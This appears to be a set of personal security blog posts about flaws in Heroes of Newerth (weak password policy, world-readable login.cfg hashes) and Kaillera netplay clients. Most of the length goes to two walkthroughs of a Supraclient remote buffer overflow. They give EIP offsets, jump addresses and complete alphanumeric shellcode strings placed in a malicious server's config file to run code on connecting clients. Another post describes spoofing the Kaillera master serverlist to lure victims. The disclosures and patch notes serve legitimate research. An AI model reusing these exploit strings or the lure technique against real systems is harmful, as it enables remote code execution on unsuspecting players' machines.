Heroes of Newerth hacked

According to several sites, on December 17th, 2012, Heroes of Newerth's website was hacked.  Someone by the name of Ryan_HTP claimed credit, citing a SQL injection attack.  He claims that the SQL injection attacks are severe enough to allow for remote code execution on HoN's servers.  Heroes of Newerth responded by requiring existing users to update their passwords to at least 6 characters in length.  There was also a thread posted on the forums discussing the issue, where HoN stated that passwords had been compromised and that the breach occurred due to a third-party program interacting with the website.

Heroes of Newerth passwords, when stored locally, use the vanilla MD5 hashing algorithm with no salts as mentioned in my previous post, which is trivial to crack especially with GPU acceleration.  Also, the files are stored as world-writable on Mac and Linux, which means on multi-user systems anyone can login with your hash or steal and crack it later.

Strangely, Heroes of Newerth does not seem to consistently enforce password policy through the account registration form on their website.  Although the 6 character length requirement for passwords is occasionally rolled out by HoN when security breaches occur, it is entirely possible to change your password to one character in length.  Alternatively, you can register a new account and provide a similarly weak password.  This is dangerous from a security standpoint as it allows trivial bruteforcing/guessing of accounts.

After email activation, the account was created successfully.

Despite many emails and forum posts back and forth to various HoN administrators and developers, this password policy issue has not yet been fixed over a period of several months.   In an age where high profile websites get breached often and end up in the news, and where Pastebin password dumps proliferate, it is crucial for websites to enforce some type of password policy in order to set a minimum standard for password complexity, length, and rotation.

Video game security is a field often overlooked by both researchers and developers alike.  Hopefully Heroes of Newerth will be more proactive with auditing security and enforce a strong password policy to protect their users in the future.

Heroes of Newerth Insecure File Permissions Vulnerability (0day)

Today I write not of Kaillera but another game, Heroes of Newerth, which me and a few friends have recently discovered a vulnerability in.

Background: "Heroes of Newerth (commonly known as HoN) is a free-to-play science fantasy, action real-time strategy game.  The game is developed by S2 Games for Microsoft Windows, Mac OS X and Linux." - Wikipedia.org

Vulnerability:  Heroes of Newerth creates a file called login.cfg, where login information is stored.  This includes, if the option of Auto Auth is checked, the MD5 hash of the user's password.

The vulnerability arises when a user saves their password on Mac or Linux, because login.cfg is created with world-readable permissions, allowing other users on the system to access the user's account information, impersonate the user by logging in with their encrypted password, or crack their password hash and recover their plaintext password.

Proof of concept:
Linux: -rw-r--r-- 1 user group 334 2011-09-10 00:23 /home/user/.Heroes of Newerth/game/login.cfg
Mac: -rw-r--r--  1 user  group  334 Sep  9 21:46 /Users/User/Library/Application Support/Heroes of Newerth/game/login.cfg

Note:  Windows was tested but not found vulnerable to this flaw.  On Windows, the MD5 hash is stored at the following location:

C:\Users\%USERNAME%\Documents\Heroes of Newerth\game\login.cfg.

Any other user on the system can simple view the file with a text editor, save it, and impersonate the user in Heroes of Newerth.

Alternatively, if you forgot your password and don't want to reset it, you can simply copy the MD5 hash to login.cfg in the proper format and use it to log in with Auto Auth turned on in the game settings.

Remediation:  chmod 600 /path/to/login.cfg  - Makes file read/writable by only your account.

Thanks to @jakl, who co-discovered this vulnerability, and EvilPenguins for testing on Mac.

Kaillera Master serverlist Spoofing

All kaillera clients I have ever used have built in functionality for the "master client list" - this is a list of all publicly available Kaillera servers, probably intended to make it easier for gamers to find popular servers to play on.

Here is a screenshot of the kaillera.com master serverlist:

Either by using Wireshark to sniff packets sent out to kaillera.com or by examining the source code of the Emulinker Kaillera server (src\org\emulinker\kaillera\master\client\KailleraMasterUpdateTask.java) we are able to notice that creating a new server on this list is as easy as sending a GET request to a php script named touch_server.php.  

The parameters passed to this script include servername, port, ip, nbusers, maxconn, nbgames, version, url, and location.

Most of these should be obvious.  Version is referring to what server software is running: EMX, Emulinker, 0.86, etc.  Nbusers is the amount of users in the server currently.  Maxconn is the maximum amount of users which can join the server.  Location is supposed to be a physical country (Russia, Spain, etc).  

There are also two custom HTTP headers implemented: Kaillera-games and Kaillera-wgames.  I haven't experimented much with these as of yet.  

The script has some sort of anti-timeout, because if you send a GET request and after a minute or two do not reply, your server will be removed from the master list.  In order to avoid this, it is best to send the request every minute or so.  

Interestingly enough, it is possible to submit bogus information for all of the above parameters to the script, including IP address.  

It is also possible to create as many servers as you wish by putting a unique IP address in each GET request to the server. The script simply trusts whatever input you send it rather than checking your actual IP address and limiting servers you can host.  Therefore, it would theoretically be possible to DoS the masterlist fairly easily or at least flood it with garbage.  

Also, in combination with the script I've written earlier on to exploit Kaillera vulnerabilities, you could publicly add this server to the masterlist, using a convincing name, and entice people to join it.  This would greatly enhance the potency of the malicious Kaillera server.  

Patches for Kaillera buffer overflows

Recently, I posted a proof of concept Kaillera server on Exploit-db.  This Kaillera server exploits vulnerabilities in 3 kaillera clients.

Normally when a vulnerability is reported, the software developer has the opportunity to fix the problem.  Unfortunately, none of the Kaillera clients have been actively updated.

Therefore, a friend and I have created p2pkaillera, a Google code project where we've fixed the security problems exploited by my proof of concept perl script.

The first update we've created is for the Open Kaillera client on sourceforge, fixing several buffer overflow vulnerabilities in that client, and can be downloaded here.

If you use Kaillera, watch that Google code site for updates to your favorite clients. They're unofficial but they will be useful for security updates so players can continue to have a safe environment.

0day Remote Buffer Overflow Vulnerability in Kaillera Supraclient

Most if not all Kaillera clients have very bad input validation.  They accept almost anything from the Kaillera server in the form of messages, meaning there are some serious issues with remote buffer overflow exploits.

This particular post discloses a remote buffer overflow vulnerability in Supraclient.

Note: If you are unfamiliar with how buffer overflow exploits work, please stop by Corelan for some great tutorials on the subject. Additionally, please visit my previous blog post if anything here is unclear, as it is explained in greater depth there.

Vectors for Attack:
-Malicious user hosts a server, names it the same as a popular server, and gets people to join his server.
-Malicious user then places alphanumeric shellcode in the server configuration file, executes shellcode on victim's computer.

To reproduce this, let's first download and configure our server.  In this case, we'll be using the freely available open source project , Emulinker server.  After unzipping it, go to the conf folder.  Two files will need to be edited: language.properties and emulinker.cfg.

Make the following change to Emulinker.cfg:

controllers.v086.bufferSize=10000

This will ensure that we have more than plenty buffer space for our payload.

We will go on to edit the language.properties file in a moment to put our shellcode in it.  But first, let's walk through the entire process of finding and exploiting this vulnerability.  It will be fairly similar to the last post, but still could be useful.

Let's first test this vulnerability with a pattern of 2500 bytes.  We'll test it in the server MOTD message, although it can probably be triggered in most any server message.

Using the pvefindaddr plugin and Immunity Debugger from the previous post, let's generate the pattern:

!pvefindaddr pattern_create 2500

By default, in the language.properties file, there is a section which looks like this:


# Login Announcements
KailleraServerImpl.LoginMessage.1=Welcome to a new EmuLinker Server!
KailleraServerImpl.LoginMessage.2=Edit language.properties to setup your login announcements

Let's comment out the second message, and replace the first message with our long string pattern.


# Login Announcements
KailleraServerImpl.LoginMessage.1=Welcome to a new EmuLinker Server!
#KailleraServerImpl.LoginMessage.2=Edit language.properties to setup your login announcements


So now it should look like this:

# Login Announcements

KailleraServerImpl.LoginMessage.1=Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D

#KailleraServerImpl.LoginMessage.2=Edit language.properties to setup your login announcements

Save the file in your text editor and go back to the main emulinker folder.  Launch server.bat to start the emulinker server.  (If you get an error message, you'll need to install the latest version of Java first).

Now we need a vulnerable client to connect to the server to see if we can crash it.  Grab a copy of Project64K and Supraclient, replacing the kailleraclient.dll in the Project64K folder with the Supraclient dll you downloaded, and run Project64K with Immunity Debugger attached to it.  Connect to the malicious server IP.

Immunity Debugger shows EIP to be overwritten with part of our pattern, so let's find out at what point this happened.  Type !pvefindaddr pattern_offset with the offset of our pattern, in this case, its 0x33714332

in other words, !pvefindaddr pattern_offset 0x33714332

Now go to the Log window in Immunity (from the View menu).  It is clear that the pattern overwrite occurred at 2048 bytes.  So we know that we need 2048 junk bytes and then 4 bytes to control EIP, followed by our shellcode.  Let's create a 2048 byte pattern now with pvefindaddr, and add 4 B's after it to see if EIP is overwritten with B"s.  Then let's put 6 C"s to make sure our code is on the stack.

Oh good, we can see that EIP was overwritten with B's and the C"s come next.  Now we must replace the B"s with an actual hexadecimal address in memory of an instruction allowing us to jump to the stack.  The most common is JMP ESP, but we will use pvefindaddr to search for suitable locations throughout memory.

!pvefinddadr  typed by itself without arguments shows a help menu in the Log file.  Let's view that, and notice that !pvefindaddr j -r esp is what we want to search for jump to the stack instructions.   This is useful to save us time, especially since we're dealing with character restrictions.  We can only use a subset of extended-ascii characters in our payload, so the jump opcode must reflect that.

Once pvefindaddr has run, we can find the j.txt file in the Immunity Debugger folder which contains all the suitable memory addresses.  We need an address which is ascii-compatible, so let's search for that in the file.

Okay, we found a push esp - ret instruction at 0x774F3624 in ole32.dll, which means our payload will only work in a specific windows version.   Let's translate the hex into ascii, using the ascii-table website linked to earlier.  We get $6Ow, so we'll replace
BBBB with wO6$.  Let's leave the C's for now and test our jump to the stack first.  We can set a breakpoint at 0x774F3624 to confirm we hit it.  Good.

Finally, we need to use Alpha3 in order to make shellcode which is alphanumeric compatible, and in this case which uses a base register of ESP (the stack).  In this case I'm using a metasploit generated payload with calc.exe as a PoC.

Putting it all together, let's edit the language.properties file one last time:

# Login Announcements

KailleraServerImpl.LoginMessage.1=Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq$6OwTYhffffk4diFkDql02Dqm0D1CuEE5n3e1o3j3J0M0y0C363z7n2t4y4A0g0h0r0K2N4p4R8K0m0J7L3P3l14094L123i2p4F0Q3U4x4F3p0I0r5n0h2j0W4O2o3M0W0c4Y0U0y2r4K370T3U0H3n0J143W2G4n0N4K2O0C1k312t4H1L4E2v1N2H3B3H4J3W0I0O311L2G2q4y0c3c0c4x3z0T4p3S4s0H0g000P184Q0f3m4L3d4G3e054k3R4Z35063m2v3A2n0U404S8O0e0R3q7l0h4q0w4w3i0L0d0k3O0K4T042t3K0J3h0t

#KailleraServerImpl.LoginMessage.2=Edit language.properties to setup your login announcements

Re-run the server.bat file, relaunch the client and connect to it.  Boom, calculator has appeared!

We have successfully exploited a remote buffer overflow in Supraclient!

Supraclient Kaillera Buffer Overflow Vulnerability

Today I will release information about a Supraclient kaillera buffer overflow 0 day vulnerability.  I have decided it makes sense to disclose this vulnerability because Supraclient is very old and very obscure.

First of all we need the vulnerable version of Supraclient kaillera client.

Note: This exploit is probably has no practical attack vectors at all, this is mostly just an exploit for practice.

The target system is Windows XP SP3 running in a virtual machine (VMware Workstation 7 to be precise).
This is because Windows XP is easier to exploit (it lacks advanced protections such as DEP and ASLR that later versions of Windows have).  Additionally, according to some statistics, 66% of users who have Windows still run XP. 

In this particular example, the amount of bytes required to cause the buffer overflow remains the same on any virtual machine, but be aware sometimes they will change based on your environment, so experimenting yourself is important.

This post deals with information about buffer overflows; if you're not familiar with them, you can learn more at Corelan.  This is an excellent site full of tutorials about buffer overflows and how to exploit them on a Windows environment.  I recommend that you read a few tutorials (such as part 1 and 2 on stack overflows) on that website before you continue to fully understand what is happening.

As a brief overview, a buffer overflow is nothing but overflowing a region in memory with user input of some kind.  Most if not all security vulnerabilites come from badly processed user input.  Some vulnerable C/C++ functions such as the classic strcat and strcpy will copy a number of bytes from one memory location
to another without any kind of bounds checking.  If these functions are used to process user  input of some kind, a user can specify more bytes than the buffer has been declared to hold.  For instance, if we supply 20 bytes of input to a 15 byte buffer, we have a buffer overflow.  The EIP register, which is an area in memory that points to the next instruction to be processed, will be overwritten with our data, meaning we can specify
an arbitrary hexadecimal value that can point to any CPU assembly instructions we want, and therefore hijack
the program's execution to execute any code we desire in memory.  Thus a buffer overflow is one of the most serious types of vulnerabilities as it allows for total control over a computer in most cases. 

With that being said, let's begin.  First, we will extract the Supraclient dll file we have downloaded into the emulator folder of Project64k, overwriting the existing kailleraclient.dll file with the Supraclient dll file.

Next, download two very useful tools: Immunity Debugger and Pvefindaddr plugin:.  These will help us as we develop our exploit.  The Pvefindaddr plugin needs to be copied into the Immunity Debugger Commands folder before it can be used (C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands\pvefindaddr.py)


Open Immunity Debugger and type !pvefindaddr pattern_create 2200 in the text box area and hit enter.

This will create a cyclic pattern of 2200 bytes which we will feed into the program to see if it will crash.
 This is useful because if we only used the same character, for example, 2200 "A's", we wouldnt know the specific 4 bytes that overwrote EIP (because they are all A's, so whats the difference).  This is where the unique pattern comes in handy to quickly identify how many bytes it takes to overwrite the memory location EIP points to.

To copy the output of the cyclic pattern, open the directory Immunity was installed (usually C:\Program Files\Immunity Inc\Immunity Debugger\) and open the file called mspattern.txt.  Then copy that string to the clipboard.

Next we launch Project64K. Go to Start>Net Play, and the Kaillera GUI window will open up.  Paste the mspattern.txt string into the window in the lower left (the one which says IP Address in the screenshot):

Now go to Immunity Debugger and go to File>Attach, and pick the process which is running Kaillera (in our example its Project64k.exe) and click Attach.  If you see any messages about "Entry Point Alert" just click past them by clicking OK.  Now hit F9 (or click the red play button in Immunity) to start the debugging.  Go back to Kaillera and click Login. 

Boom.  Immunity triggers an access violation when executing (part of your cyclic pattern):

As you can see, EIP is overwritten with 33714332, which is hexadecimal for the string "2cQ3", which is part of our mspattern.txt.  How do we know how many bytes it takes before we reach 2cQ3?  Type !pvefindaddr pattern_offset 0x33714332 in order to see how many bytes we need to hit the EIP overwrite.  Once you hit enter, go to View> Log, and you will note that the pattern is reached after 2048 bytes.  This means that we need to supply 2048 bytes of junk and then 4 bytes to overwrite EIP.

We need to overwrite EIP with a pointer which will allow us to jump to the stack, so that the rest of our user input will be executed as code (our shellcode).  Which four bytes do we choose?  We can either use an application-specific jump, which would only work on one emulator, or we can use an OS-specific jump, which only works on particular versions of Windows.  For now I am going to use an OS-specific opcode, JMP ESP in hnetcfg.dll (ascii of O².f, hex of 662EB24F), which would work for any emulator on a specific Windows XP version. JMP ESP tells the computer to jump to the stack, which will then execute whatever code we place after those 4 bytes at EIP.

But wait a minute! This is a text box, we can't just put random binary characters in here.  This is correct.  We have to deal with character restrictions.  In this case, as I have experimented to find out, we are dealing with mostly extended-ascii limitations, meaning we can use more characters than just a-z. Our bad characters in hex are the following: 00-1F,7F, and 81-9F.  Any other characters in the 255 character extended-ascii set are fair game however. 

Let's now generate an alphanumeric shellcode using Alpha3.  This tool will require us to have a base register for the shellcode it needs to run in order to decode characters.  In this case, we give it the register of ESP (the stack) since we know that our shellcode is directly at the beginning of the stack and doesn't seem to get mangled.  This particular shellcode will be given to Alpha3 as a metasploit encoded calc.exe payload (as a simple demonstration).  However, its easy enough to replace that with a payload that adds an admin account, or a remote shell, or a meterpreter payload...
 
So our entire exploit string ends up looking like this: 

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci